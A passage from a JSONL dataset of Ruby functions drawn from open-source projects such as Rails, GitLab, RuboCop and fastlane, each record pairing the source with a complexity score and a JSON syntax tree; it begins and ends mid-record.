name=\\\"PageArea1\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"</pageSet>\\n\"]},{\"type\":\"str\",\"children\":[\"</subform>\\n\"]},{\"type\":\"str\",\"children\":[\"</form>\\n\"]},{\"type\":\"str\",\"children\":[\"</xdp:xdp>\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml_data\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"REPLACE_TIFF\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"tiff_data\"]}]},{\"type\":\"lvar\",\"children\":[\"xml_data\"]}]}]}","id":"e7943ceb-151e-48be-996f-560a7e226843"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/cache_key_test.rb","start_line":77,"raw_source":"def test_expand_cache_key_of_array_like_object\n assert_equal \"foo/bar/baz\", ActiveSupport::Cache.expand_cache_key(%w{foo bar baz}.to_enum)\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_expand_cache_key_of_array_like_object\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"foo/bar/baz\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Cache\"]},\"expand_cache_key\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"str\",\"children\":[\"bar\"]},{\"type\":\"str\",\"children\":[\"baz\"]}]},\"to_enum\"]}]}]}]}","id":"00844aa9-987f-4eb8-942a-f0c9e1b153b2"} {"repo_name":"discourse","file_path":"./repos/discourse/spec/support/helpers.rb","start_line":309,"raw_source":"def run_theme_migration(theme, migration_name)\n migration_theme_field = theme.theme_fields.find_by(name: migration_name)\n theme.migrate_settings(fields: [migration_theme_field], allow_out_of_sequence_migration: true)\n nil\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"run_theme_migration\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"theme\"]},{\"type\":\"arg\",\"children\":[\"migration_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"migration_theme_field\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"theme\"]},\"theme_fields\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"migration_name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"theme\"]},\"migrate_settings\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fields\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration_theme_field\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_out_of_sequence_migration\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"dd7c1f10-452a-4382-8940-4385b00884d3"} {"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/file_path.rb","start_line":18,"raw_source":"def self.from_app_tree app_tree, path\n return path if path.is_a? Brakeman::FilePath\n\n absolute = app_tree.expand_path(path).freeze\n\n if fp = @cache[absolute]\n return fp\n end\n\n relative = app_tree.relative_path(path).freeze\n\n self.new(absolute, relative).tap { |fp| @cache[absolute] = fp }\n end","complexity_score":15.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"from_app_tree\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"app_tree\"]},{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"FilePath\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"absolute\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app_tree\"]},\"expand_path\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},\"freeze\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fp\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"absolute\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fp\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"relative\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app_tree\"]},\"relative_path\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},\"freeze\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"new\",{\"type\":\"lvar\",\"children\":[\"absolute\"]},{\"type\":\"lvar\",\"children\":[\"relative\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"absolute\"]},{\"type\":\"lvar\",\"children\":[\"fp\"]}]}]}]}]}","id":"bd748bbc-f21c-4023-adc8-4609857d3dd2"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/arguments_forwarding.rb","start_line":183,"raw_source":"def extract_forwardable_args(args)\n [args.find(&:restarg_type?), args.find(&:kwrestarg_type?), args.find(&:blockarg_type?)]\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_forwardable_args\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"find\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"restarg_type?\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"find\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"kwrestarg_type?\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"find\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"blockarg_type?\"]}]}]}]}]}","id":"37c522fa-146a-4aca-b5e8-abc59d1df6aa"} {"repo_name":"rack","file_path":"./repos/rack/lib/rack/mime.rb","start_line":18,"raw_source":"def mime_type(ext, fallback = 'application/octet-stream')\n MIME_TYPES.fetch(ext.to_s.downcase, fallback)\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"mime_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ext\"]},{\"type\":\"optarg\",\"children\":[\"fallback\",{\"type\":\"str\",\"children\":[\"application/octet-stream\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MIME_TYPES\"]},\"fetch\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext\"]},\"to_s\"]},\"downcase\"]},{\"type\":\"lvar\",\"children\":[\"fallback\"]}]}]}","id":"b804bb13-04c2-4980-98e6-fa19d4c815df"} {"repo_name":"zeitwerk","file_path":"./repos/zeitwerk/lib/zeitwerk/loader/helpers.rb","start_line":15,"raw_source":"private def ls(dir)\n children = Dir.children(dir)\n\n # The order in which a directory is listed depends on the file system.\n #\n # Since client code may run in different platforms, it seems convenient to\n # order directory entries. This provides consistent eager loading across\n # platforms, for example.\n children.sort!\n\n children.each do |basename|\n next if hidden?(basename)\n\n abspath = File.join(dir, basename)\n next if ignored_path?(abspath)\n\n if dir?(abspath)\n next if roots.key?(abspath)\n\n if !has_at_least_one_ruby_file?(abspath)\n log(\"directory #{abspath} is ignored because it has no Ruby files\") if logger\n next\n end\n\n ftype = :directory\n else\n next unless ruby?(abspath)\n ftype = :file\n end\n\n # We freeze abspath because that saves allocations when passed later to\n # File methods. See #125.\n yield basename, abspath.freeze, ftype\n end\n end","complexity_score":41.9,"ast_json":"{\"type\":\"send\",\"children\":[null,\"private\",{\"type\":\"def\",\"children\":[\"ls\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"children\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"children\",{\"type\":\"lvar\",\"children\":[\"dir\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"children\"]},\"sort!\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"children\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"basename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hidden?\",{\"type\":\"lvar\",\"children\":[\"basename\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"abspath\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"dir\"]},{\"type\":\"lvar\",\"children\":[\"basename\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ignored_path?\",{\"type\":\"lvar\",\"children\":[\"abspath\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dir?\",{\"type\":\"lvar\",\"children\":[\"abspath\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"roots\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"abspath\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_at_least_one_ruby_file?\",{\"type\":\"lvar\",\"children\":[\"abspath\"]}]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"directory \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"abspath\"]}]},{\"type\":\"str\",\"children\":[\" is ignored because it has no Ruby files\"]}]}]},null]},{\"type\":\"next\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"ftype\",{\"type\":\"sym\",\"children\":[\"directory\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ruby?\",{\"type\":\"lvar\",\"children\":[\"abspath\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"ftype\",{\"type\":\"sym\",\"children\":[\"file\"]}]}]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"basename\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"abspath\"]},\"freeze\"]},{\"type\":\"lvar\",\"children\":[\"ftype\"]}]}]}]}]}]}]}","id":"94fba4a8-fdb3-4abf-b3b9-b3d07430cf07"} {"repo_name":"fastlane","file_path":"./repos/fastlane/screengrab/lib/screengrab/runner.rb","start_line":355,"raw_source":"def move_pulled_screenshots(locale, pull_dir, device_type_dir_name)\n # Glob pattern that finds the pulled screenshots directory for each locale\n # Possible matches:\n # [pull_dir]/en-US/images/screenshots\n # [pull_dir]/screengrab/en-US/images/screenshots\n screenshots_dir_pattern = File.join(pull_dir, '**', \"screenshots\")\n\n Dir.glob(screenshots_dir_pattern, File::FNM_CASEFOLD).each do |screenshots_dir|\n src_screenshots = Dir.glob(File.join(screenshots_dir, '*.png'), File::FNM_CASEFOLD)\n\n # The :output_directory is the final location for the screenshots, so we begin by replacing\n # the temp directory portion of the path, with the output directory\n dest_dir = screenshots_dir.gsub(pull_dir, @config[:output_directory])\n\n # Different versions of adb are inconsistent about whether they will pull down the containing\n # directory for the screenshots, so we'll try to remove that path from the directory name when\n # creating the destination path.\n # See: https://github.com/fastlane/fastlane/pull/4915#issuecomment-236368649\n dest_dir = dest_dir.gsub(%r{(app_)?screengrab/}, '')\n\n # We then replace the last segment of the screenshots directory path with the device_type\n # specific name, as expected by supply\n #\n # (Moved to: fastlane/metadata/android/en-US/images/phoneScreenshots)\n dest_dir = File.join(File.dirname(dest_dir), locale, 'images', device_type_dir_name)\n\n FileUtils.mkdir_p(dest_dir)\n FileUtils.cp_r(src_screenshots, dest_dir)\n UI.success(\"Screenshots copied to #{dest_dir}\")\n end\n end","complexity_score":22.6,"ast_json":"{\"type\":\"def\",\"children\":[\"move_pulled_screenshots\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"locale\"]},{\"type\":\"arg\",\"children\":[\"pull_dir\"]},{\"type\":\"arg\",\"children\":[\"device_type_dir_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"screenshots_dir_pattern\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"pull_dir\"]},{\"type\":\"str\",\"children\":[\"**\"]},{\"type\":\"str\",\"children\":[\"screenshots\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"glob\",{\"type\":\"lvar\",\"children\":[\"screenshots_dir_pattern\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"FNM_CASEFOLD\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"screenshots_dir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"src_screenshots\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"glob\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"screenshots_dir\"]},{\"type\":\"str\",\"children\":[\"*.png\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"FNM_CASEFOLD\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dest_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"screenshots_dir\"]},\"gsub\",{\"type\":\"lvar\",\"children\":[\"pull_dir\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"output_directory\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dest_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dest_dir\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(app_)?screengrab/\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dest_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"lvar\",\"children\":[\"dest_dir\"]}]},{\"type\":\"lvar\",\"children\":[\"locale\"]},{\"type\":\"str\",\"children\":[\"images\"]},{\"type\":\"lvar\",\"children\":[\"device_type_dir_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"lvar\",\"children\":[\"dest_dir\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"cp_r\",{\"type\":\"lvar\",\"children\":[\"src_screenshots\"]},{\"type\":\"lvar\",\"children\":[\"dest_dir\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Screenshots copied to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dest_dir\"]}]}]}]}]}]}]}]}","id":"604ed765-9f3f-44e6-bd71-6a365fbb1d3d"} {"repo_name":"manageiq","file_path":"./repos/manageiq/spec/models/pxe_server_spec.rb","start_line":55,"raw_source":"def file_read(file)\n File.read(test_full_path_to(file))\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"file_read\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"send\",\"children\":[null,\"test_full_path_to\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]}","id":"42923339-b7ed-4a5b-bbbe-d18d3d8a0e65"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/integrations/jira.rb","start_line":733,"raw_source":"def client_url\n api_url.presence || url\n end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"client_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_url\"]},\"presence\"]},{\"type\":\"send\",\"children\":[null,\"url\"]}]}]}","id":"eee7eb52-c81a-46da-b21c-6c3b43147c89"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/safe_zip/entry_spec.rb","start_line":221,"raw_source":"def create_entry\n FileUtils.mkdir_p(entry_path_dir)\n FileUtils.touch(entry_path)\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_entry\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"send\",\"children\":[null,\"entry_path_dir\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"touch\",{\"type\":\"send\",\"children\":[null,\"entry_path\"]}]}]}]}","id":"0e903f6d-c27b-4279-8f0c-e600cec5fa8a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240412125902_sync_index_for_p_ci_builds_part4.rb","start_line":35,"raw_source":"def down\n INDEXES.each do |definition|\n name = definition[:name]\n remove_concurrent_partitioned_index_by_name(TABLE_NAME, name)\n end\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"INDEXES\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"definition\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"definition\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_concurrent_partitioned_index_by_name\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}","id":"0c25584c-8b77-4c4d-b0f2-6d5fa4d58a1b"} {"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/configuration.rb","start_line":1356,"raw_source":"def filter_run_excluding(*args)\n meta = Metadata.build_hash_from(args, :warn_about_example_group_filtering)\n filter_manager.exclude_with_low_priority meta\n static_config_filter_manager.exclude_with_low_priority Metadata.deep_hash_dup(meta)\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_run_excluding\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"meta\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metadata\"]},\"build_hash_from\",{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"sym\",\"children\":[\"warn_about_example_group_filtering\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter_manager\"]},\"exclude_with_low_priority\",{\"type\":\"lvar\",\"children\":[\"meta\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"static_config_filter_manager\"]},\"exclude_with_low_priority\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metadata\"]},\"deep_hash_dup\",{\"type\":\"lvar\",\"children\":[\"meta\"]}]}]}]}]}","id":"516efb01-2933-4499-8a0a-be361f99e41e"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_request_workflow.rb","start_line":942,"raw_source":"def find_cluster_above_ci(item, ems_src = nil)\n find_class_above_ci(item, EmsCluster, ems_src)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"find_cluster_above_ci\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]},{\"type\":\"optarg\",\"children\":[\"ems_src\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"find_class_above_ci\",{\"type\":\"lvar\",\"children\":[\"item\"]},{\"type\":\"const\",\"children\":[null,\"EmsCluster\"]},{\"type\":\"lvar\",\"children\":[\"ems_src\"]}]}]}","id":"1d6b3ee0-ea12-48e7-8bae-15366a93db27"} {"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/custom_actions_controller.rb","start_line":54,"raw_source":"def create\n CustomActions::CreateService\n .new(user: current_user)\n .call(attributes: permitted_params.custom_action.to_h,\n &index_or_render(:new))\n end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomActions\"]},\"CreateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attributes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"custom_action\"]},\"to_h\"]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index_or_render\",{\"type\":\"sym\",\"children\":[\"new\"]}]}]}]}]}","id":"1e2f19b7-70b2-4b8d-98c6-ef8bed9caefa"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/gitlab/github_import/stage/finish_import_worker.rb","start_line":64,"raw_source":"def placeholder_reference_store\n @placeholder_reference_store ||= project.placeholder_reference_store\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"placeholder_reference_store\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@placeholder_reference_store\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"placeholder_reference_store\"]}]}]}","id":"ace3c033-a58a-4790-8cc8-6e927491ff74"} {"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/validations/numericality.rb","start_line":122,"raw_source":"def prepare_value_for_validation(value, record, attr_name)\n return value if record_attribute_changed_in_place?(record, attr_name)\n\n came_from_user = :\"#{attr_name}_came_from_user?\"\n\n if record.respond_to?(came_from_user)\n if record.public_send(came_from_user)\n raw_value = record.public_send(:\"#{attr_name}_before_type_cast\")\n elsif record.respond_to?(:read_attribute)\n raw_value = record.read_attribute(attr_name)\n end\n else\n before_type_cast = :\"#{attr_name}_before_type_cast\"\n if record.respond_to?(before_type_cast)\n raw_value = record.public_send(before_type_cast)\n end\n end\n\n raw_value || value\n end","complexity_score":21.8,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_value_for_validation\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"attr_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record_attribute_changed_in_place?\",{\"type\":\"lvar\",\"children\":[\"record\"]},{\"type\":\"lvar\",\"children\":[\"attr_name\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"came_from_user\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attr_name\"]}]},{\"type\":\"str\",\"children\":[\"_came_from_user?\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"came_from_user\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"came_from_user\"]}]},{\"type\":\"lvasgn\",\"children\":[\"raw_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"public_send\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attr_name\"]}]},{\"type\":\"str\",\"children\":[\"_before_type_cast\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"read_attribute\"]}]},{\"type\":\"lvasgn\",\"children\":[\"raw_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"read_attribute\",{\"type\":\"lvar\",\"children\":[\"attr_name\"]}]}]},null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"before_type_cast\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attr_name\"]}]},{\"type\":\"str\",\"children\":[\"_before_type_cast\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"before_type_cast\"]}]},{\"type\":\"lvasgn\",\"children\":[\"raw_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"before_type_cast\"]}]}]},null]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_value\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"61957ce6-5518-4acc-8755-62fa442164f4"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/fixture_set/table_rows.rb","start_line":9,"raw_source":"def initialize(table_name, model_class:, fixtures:)\n @model_class = model_class\n\n # track any join tables we need to insert later\n @tables = Hash.new { |h, table| h[table] = [] }\n\n # ensure this table is loaded before any HABTM associations\n @tables[table_name] = nil\n\n build_table_rows_from(table_name, fixtures)\n end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"kwarg\",\"children\":[\"model_class\"]},{\"type\":\"kwarg\",\"children\":[\"fixtures\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@model_class\",{\"type\":\"lvar\",\"children\":[\"model_class\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@tables\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]},{\"type\":\"arg\",\"children\":[\"table\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\"